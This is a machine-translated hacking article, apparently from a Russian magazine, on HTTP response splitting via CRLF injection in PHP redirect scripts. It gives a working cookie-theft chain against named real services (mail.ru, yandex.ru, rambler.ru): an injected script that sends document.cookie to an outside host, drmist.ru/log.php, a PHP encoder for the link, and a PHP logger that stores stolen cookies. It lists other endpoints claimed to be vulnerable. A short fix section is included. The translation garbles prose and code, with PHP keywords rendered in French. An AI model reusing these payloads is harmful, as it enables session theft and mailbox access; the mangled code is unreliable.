This page has been robot translated, sorry for typos if any. Original content here.

Vulnérabilité liée au fractionnement HTTP

Cet article traite de l'application pratique d'une vulnérabilité appelée vulnérabilité de fractionnement HTTP.

Bazhny header () au microscope

En errant sur Internet, nous observons souvent l'URL du formulaire http://anyhost.com/redirect.php?url=http://otherhost.com. Un utilisateur simple d'esprit, sans réfléchir longtemps, clique dessus et plaît également sur otherhost.com. Un utilisateur inquisiteur soumet l'adresse de son hompagi à l'emplacement de l'URL et s'assure également de la courbure du script.
En plus des simples curieux sur Internet, vivent des utilisateurs très curieux. Ils établissent un lien dans AccessDiver et commencent également à apprendre le fonctionnement du script.

1. L'essence du bug.
2. Application pratique.
3. L'emplacement de la prévalence de l'erreur.
4. Moyens de protection.

pour les pétroliers, je suggère qu'AccessDiver est «hakresky», comme il est coutume d'exprimer dans un pays un instrument. Le téléchargement est autorisé sur le projet hors site . Au moment d'écrire ces lignes, la dernière version de cet utilitaire était la version 4.173. Le programme est surtout connu pour sa fonction de débogage HTTP. Vous pouvez l'utiliser en passant en mode expert en sélectionnant également la fonction appropriée dans le menu Outils (F4 puis Ctr + F9 - selon la version, elles peuvent être modifiées). Ensuite, nous ne soulignerons pas la préoccupation de son cadre, tout écolier peut faire face à un plongeur.

pour les expériences, nous avons choisi mail.ru , car il s’agit du service postal le plus connu de runet, et le lecteur sera particulièrement intéressé par le bug concernant ce projet;) Rendez-vous sur http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net . Nous serons transférés sur le portail le plus choisi sur la sécurité informatique;). Nous ajoutons le site aux favoris et revenons au courrier. Écrivez le lien qui nous intéresse dans le champ Adresse HTTP, définissez le mode sur Obtenir, cliquez sur Connecter.
Nous avons devant nous les en-têtes HTTP renvoyés par le serveur, approximativement comme dans la capture d'écran:



Laissez-nous nous occuper de la ligne soulignée. Lorsque nous rencontrons des en - têtes Location :, le navigateur nous amène inconditionnellement à l'URL spécifiée. Par conséquent, nous pouvons faire glisser un lien vers l'utilisateur, comme s'il s'agissait d'un courrier, mais il ne recevra rien du tout. Tout cela est merveilleux, mais dans la pratique, rien n’aliène.

Notez que les lignes de l'en-tête sont séparées par deux caractères 0Dh 0Ah . Et quoi, si on leur attribue à la fin du lien? Voyons ce que le serveur va donner à l'objection à la requête http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist :



Comme c'est intéressant. Nous pouvons donc forcer le serveur à produire presque n'importe quel en-tête. Par exemple, modifiez les cookies utilisateur. Mais, encore une fois, ce n’est toujours pas aussi intéressant que le fait qui nous hésite à venir. Fait intéressant, les en-têtes sont séparés du corps de l'acte par la séquence 0Dh 0Ah 0Dh 0Ah . Sommes-nous capables de donner une page complète? Entrez http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A alerte <script> (document.cookie); </ script> <! - regardez également:



Tout ce qui est jaune est le texte du document lui-même. Si JavaScript est activé dans le navigateur, suivez le lien et nous verrons une boîte de message avec nos cookies. Pour lancer l'attaque XSS, il vous faut:
1) Créez une page telle que <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Traduisez-le en url-encodé en utilisant un script:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
pour ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
si ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Nous obtenons:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... etc. (**)

3) écrivez un script log.php également le télécharger sur drmist.ru:
<? php
$ fid = fopen ("../ log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
en-tête ("Emplacement: http://www.mail.ru");
?>

Il est maintenant permis d’apparier le lien magique (**) et d’acheter les cookies de la victime.
Ils sont autorisés à faire beaucoup de choses utiles, par exemple, pour accéder au courrier, mais à ce sujet une autre fois, nous nous sommes aussi beaucoup distraits du sujet principal.

Bien sûr, il n’est pas nécessaire de croire que c’est une excellente ressource, merde, et cela ne provient pas non plus de notre bac à sable. Il est courant que tout le monde commette une erreur, mais les administrateurs de mail.ru commettent des erreurs de moins en moins souvent. Les vrais bugs restent encore. , les gens se taisent à leur sujet non pas à cause de la cupidité, mais à cause de la crainte d’une réaction inadéquate de l’administration à leur conclusion, qui, selon les statistiques, est propriétaire du lieu. Heureusement, la présence de XSS ne garantit pas l'accès à la boîte aux lettres. Je suis sûr que le bug sera fermé. Après 2 jours au plus tard. Vulnérable pas seulement mail.ru. Je recommande fortement de lire:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Franchement, nous avons été très surpris de constater à quel moment j’ai appris que securitylab.ru avait été écrit sur ces vulnérabilités il ya 3 ans (voir Implémentation de CRLF dans la fonction header () de PHP à partir du 10 septembre 2002). J'ai entendu plus d'une fois, puis j'ai considéré le sujet pertinent. En outre, bla bla vryatli a permis d’appeler de quelque manière que ce soit la présence de bugs sur Yandex, Rambler a également envoyé un courrier électronique.

Corriger l'erreur n'est pas difficile. Laissez-le manger le script vulnérable:

<?
si (! isset ($ url))
$ url = "http://www.mail.ru";

en-tête ("Emplacement: $ url");

?>

Nous le rendons invulnérable:

en-tête ("Location:" .urlencode ($ url));

Si la redirection est prévue uniquement sur le site, il est préférable de procéder comme suit:

en-tête ("Emplacement: http://www.mail.ru/".urlencode($url));

Ici peut-être aussi tout ce que nous voulions informer. Permettez-moi d’offrir un peu plus de XSS:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=fr "<h1> XSS </ h1>